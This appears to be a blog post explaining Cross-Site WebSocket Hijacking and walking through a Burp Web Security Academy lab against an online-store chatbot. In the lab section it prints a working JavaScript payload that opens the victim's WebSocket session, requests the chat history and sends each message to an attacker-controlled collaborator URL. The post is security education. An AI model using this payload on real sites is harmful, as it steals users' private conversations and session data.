← Back to all posts
Web Vulnerability Reproduction and Analysis3 min read

Front-End WebSocket Hijacking Vulnerability (CSWSH)

This article explains Cross-Site WebSocket Hijacking (CSWSH), its characteristics, and how the vulnerability can be reproduced and analyzed in an online lab.

#front end#WebSocket#network protocols
Read in Chinese→

0x00 What Is WebSocket Hijacking?

A common vulnerability in applications that use WebSockets is WebSocket hijacking, formally known as CSWSH (Cross-Site WebSocket Hijacking).

The WebSocket Concept

WebSocket is a bidirectional, full-duplex communication protocol initiated over HTTP. It is commonly used in modern web applications for streaming data and other asynchronous traffic. One of its most common uses is website chatbots.

Some may ask: How does it differ from HTTP, which is also a protocol and is more widely used?

First, WebSocket is a new protocol introduced with HTML5. It is a TCP-based application-layer communication protocol, and its content is unrelated to that of the HTTP protocol itself.

WebSocket also establishes a connection through a handshake, much like TCP. Unlike TCP, however, the WebSocket handshake is performed over HTTP. It provides an efficient, full-duplex communication channel between the client and server over a single TCP connection.

WebSocket connections are initiated over HTTP and are usually long-lived. Messages can be sent in either direction at any time and are not inherently transactional. The connection generally remains open and idle until either the client or the server sends a message.

Put simply, HTTP is stateless: once a request has been sent and completed, the interaction ends.

WebSocket is a long-lived protocol that allows continuous interaction, making it suitable for scenarios requiring frequent or prolonged communication. It is also applicable to online games, where the server continuously pushes messages to the client. (Such scenarios would otherwise require long polling.)

It is simply a different protocol.

0x01 Vulnerability Characteristics

  • **Prerequisite:** The WebSocket handshake request relies solely on HTTP cookies for session handling and does not include a CSRF token.

An attacker can construct a malicious connection that establishes a cross-site WebSocket connection to the application. The victim’s connection is then processed within their application session context, allowing the connection to send arbitrary messages to the server and read messages received from it.

  • **Difference:** The attacker gains bidirectional interaction with the compromised application.

  • The attacker can impersonate the victim and perform sensitive actions.

  • The hijacked application allows bidirectional interaction.

0x02 Lab

For simplicity and convenience, we can directly use Burp’s online lab.

https://0aa000f704fed249c17a6c3e00220075.web-security-academy.net/chat

This is my URL. You can visit the official website and locate the Cross-site WebSocket hijacking lab environment yourself.

1. This is an online store with a chatbot

image-20230128160750934

2. Capture the traffic and inspect it; WebSocket communication is being used

image-20230128160836959

There is an issue here. In the WebSockets history, we can observe that sending the “READY” command causes all previous chat messages to be requested again.

In the HTTP history, locate the WebSocket handshake request. Notice that the request does not contain a CSRF token.

image-20230128161334549

We can therefore test this CSWSH vulnerability. The following is my chat URL:

https://0aa000f704fed249c17a6c3e00220075.web-security-academy.net/chat

3. We need a server to host our script; you can think of it as an XSS platform. The lab provides a server for this purpose

Prepare the JavaScript:

<script>
    var ws = new WebSocket('wss://your-websocket-url');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

image-20230128163151580

4. This is equivalent to visiting the URL containing the JavaScript

image-20230128163235167

5. Receive the messages

![](/images/3a4d3a2eecadbc8aec160d86e594e12a.png This allows us to view the chat history and interaction data, meaning the hijacking was successful.

0x04 Summary

Simply put, this is similar to a WebSocket version of CSRF. It likewise requires the absence of a CSRF token, allowing an attacker to exploit this condition to send sensitive requests and perform sensitive actions.